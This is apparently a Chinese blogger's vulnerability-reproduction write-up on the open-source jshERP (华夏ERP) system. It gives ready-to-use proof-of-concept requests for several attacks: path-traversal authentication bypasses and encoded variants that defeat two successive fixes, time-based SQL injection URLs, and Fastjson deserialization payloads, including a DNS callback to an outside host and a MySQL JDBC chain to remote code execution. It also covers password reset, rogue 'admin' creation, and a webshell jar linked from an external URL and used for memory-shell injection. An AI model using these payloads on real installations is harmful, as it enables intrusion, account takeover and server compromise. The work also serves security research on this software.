华夏ERP审计
闲来无事,来复现一下华夏ERP的历史漏洞,之前在知识星球中看到过这个系统的鉴权绕过的文章感觉是很小的一套系统了,之前审计的代码有的太大了
环境
github链接:[https://github.com/jishenghua/jshERP](https://github.com/jishenghua/jshERP)下载好后配置好数据库,导入sql文件启动即可,很简单
信息收集
这套系统是SpringBoot框架,上来先看pom.xml文件,提取出来一些存在漏洞的依赖,后续审计有个侧重点(虽然有存在漏洞的依赖,但是不一定有入口点就是了)1 | <dependency> |
漏洞审计
鉴权绕过
在这套系统中只有一个Filter,首先看一下这个初始函数,主要作用是初始化了`ignoredList`和`allowUrls`两个String数组,作为鉴权的白名单。根据注解配置的初始化参数来看,对于.css#.js#.jpg#.png#.gif#.ico静态资源不会鉴权,/user/login#/user/registerUser#/v2/api-docs登录注册接口也不进行鉴权

看到doFilter方法,很简单的逻辑,如果如果没有登录,且访问路径不为白名单,则会跳转到/login.html。其中除了上面说的两个白名单,还有如果url中包含/doc.html、/register.html和/login.html也会跳过鉴权

verify方法中也只是简单的匹配url中是否有关键字

根据这个鉴权方式,并且在没有检测目录穿越的情况下我们很简单的就可以绕过鉴权
1 | /doc.html/.. |

SpringBoot信息泄露
在分析Filter时,我们看到`/v2/api-docs`接口也是无需鉴权的
SQL注入
首先先审计比较常见的漏洞SQL注入,这套系统使用Mybais进行与数据库进行交互,查询`${}`关键字SQL注入1
在`selectByConditionUser`中,存在`userName`与`loginName`两个参数为拼接形式,可能存在SQL注入
向上跟,跟到getUserList方法中,其中map中的键值对是从我们请求传参中提取出来的,代表search是可控的(路由部分自行分析一下)

getInfo方法做的就是将search进行反序列化,然后提取value值

向上会跟到CommonQueryManager#select方法中,根据调试发现,这里我们的apiName需要为user,才能走到我们目标select方法

再向上走,就是Controller层了

Poc如下
1 | /user/list?currentPage=1&pageSize=1&search=%7B%27userName%27%3A%27test%5C%27or%20sleep%281%29%20or%20%5C%271%5C%27%20like%5C%27%27%2C%27loginName%27%3A%27test%27%7D |
SQL注入2
同理我们找到其他的注入点,`selectByConditionAccountHead`中的这几个参数也是存在sql注入的地方
Poc如下
1 | /accountHead/list?currentPage=1&pageSize=1&search=%7B%22type%22%3A%22%22%2C%22roleType%22%3A%22%22%2C%22billNo%22%3A%22%22%2C%22beginTime%22%3A%22%22%2C%22endTime%22%3A%22%27or%20sleep%281%29%20or%20%271%27%3D%271%22%7D |
......
除此之外应该还有很多,这里就不一一列举了FastJson反序列化
命令执行
在分析SQL注入时,我们注意到了有些参数的获取是通过反序列化`search`Json字符串,从键值对中提取的这个反序列化的过程就是使用Fastjson执行的,我们只需要将search字符串替换为我们的payload
1 | GET /v2/api-docs/../../accountHead/list?currentPage=1&pageSize=1&search=%7B%22%40type%22%3A%22java.net.Inet4Address%22%2C%22val%22%3A%22fast.b39395f530.ddns.1433.eu.org.%22%7D |
可以成功接收到dns请求

FastJson的版本是1.2.55,常规的利用需要开启autoType,但是这并不是默认配置。之前我们还说,依赖中有mysql-connect-java依赖,可以使用fastjson来触发mysql-JDBC反序列化
哈哈哈哈哈这里互相利用,用fastJson触发mysql JDBC反序列化

然后用用mysql JDBC反序列化去打fastjson的链子即可

Poc如下
1 | GET /v2/api-docs/../../accountHead/list?currentPage=1&pageSize=1&search=%7B%22x1%22%3A%7B%22%40type%22%3A%22java.lang.AutoCloseable%22%2C%22%40type%22%3A%22com.mysql.jdbc.JDBC4Connection%22%2C%22hostToConnectTo%22%3A%22127.0.0.1%22%2C%22portToConnectTo%22%3A3308%2C%22info%22%3A%7B%22user%22%3A%22d85709f%22%2C%22password%22%3A%22pass%22%2C%22statementInterceptors%22%3A%22com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor%22%2C%22autoDeserialize%22%3A%22true%22%2C%22NUM_HOSTS%22%3A%221%22%7D%2C%22databaseToConnectTo%22%3A%22test%22%2C%22url%22%3A%22%22%7D%7D HTTP/1.1 |
成功弹出计算器
注入内存马
同理,修改Payload注入内存马即可
任意用户密码重置
分析
在`UserController`中,存在`resetPwd`接口,接受用户id,就可以将对应id用户的密码重置为`123456`
用户id而可以通过getUserList接口获取id与对应id的用户信息

可以看到jsh用户的id为63

我们调用/user/resetPwd接口,来重置id为63的用户的密码为123456

本来想着想要重置admin的密码,但是开发者也是想到了这一点,禁止超管通过这个接口来重置admin的密码

Poc
但是这两个接口都是后台接口,那么这里就可以配合之前的鉴权绕过漏洞,来达到前台任意用户密码修改的目的1 | GET /v2/api-docs/../../user/getAllList HTTP/1.1 |
1 | POST /v2/api-docs/../../user/resetPwd HTTP/1.1 |
华夏ERP鉴权修复绕过-1
修复
看github上的commit,其中有一个修复任意用户密码重置的commit,修改了Filter的部分,当匹配到url中有`../`或`..;/`时,就会退出
绕过
这里的绕过很简单,他虽然匹配了`../`和`..;/`,但是并没有过滤url编码后的点`%2e`,因此很简单就可以绕过看这里的allowUrls

如果startsWith以allowUrls开头的话,就会跳过鉴权
Poc:/jshERP-boot/v2/api-docs/%2e%2e/%2e%2e/user/getUserList,可以看到成功绕过

利用
修复后,`/user/getAllList`接口就不存在了,但是还有一个接口为`/user/info`,根据id参数来获取对应用户的信息id可以通过爆破来枚举,同时可以使用默认情况下的默认用户的id
1 | jsh:63 |
其中可以获取到password字段,但是是进行过加密的

我们可以通过两种方式进行来利用
第一个是直接使用md5解密平台来进行解密

第二个是我们可以直接抓包进行利用,在登录时抓包我们可以发现,登录的时候传输的密码是已经进行过加密的

华夏ERP鉴权修复绕过-2
开发者对于漏洞的修复思路大多数都是基于黑名单的修复,这次的拦截多了`%2E`的绕过
这里的绕过也很简单,他拦截了..;/但是我们在;后随便加点东西就可以绕过了
1 | ..;test/ |
但是我们原来获取用户密码的部分,被添加了限制,只有在登录状态下,才可以去获取用户信息,这个部分就被卡死了

我们看到部署jar包的部分,只有用户名为admin时,才可以成功部署jar包,那么我们是否可以创建一个名字为admin的用户呢

这里看到插入用户时,他的密码默认为123456,会接受一个json字符串,反序列化成User对象

只要当id不重复时,我们的loginName和username即便重复也无所谓
添加用户后,我们即可使用admin:123456登录后台
1 | POST /jshERP-boot/webjars/swagger-ui/css/..;1=1/..;1=1/..;1=1/user/add HTTP/1.1 |
华夏ERP后台jar包部署rce
首先我们需要用超级管理员用户,调用`uploadPluginConfigFile`接口来创建`../plugin`目录,因为`plugin`目录并不是默认存在的1 | POST /jshERP-boot/plugin/uploadPluginConfigFile HTTP/1.1 |

进入到后台后,我们上传一个恶意的插件,即可注入内存马
用[https://gitee.com/xiongyi01/springboot-plugin-framework-parent](https://gitee.com/xiongyi01/springboot-plugin-framework-parent)来写一个恶意的插件(我看了看代码,实际没有理解了部署jar包是怎么rce的,后续看一看)这里直接用fushuling师傅的马子来用了:https://fushuling-1309926051.cos.ap-shanghai.myqcloud.com/webshell.jar(很好奇这种RCE方式如何通过代码审计审计出来)

虽然显示导入失败,但是我们的马子已经注入进去了

接下来我们就可以使用冰蝎进行连接了
1 | http://localhost:3000/jshERP-boot/111 |
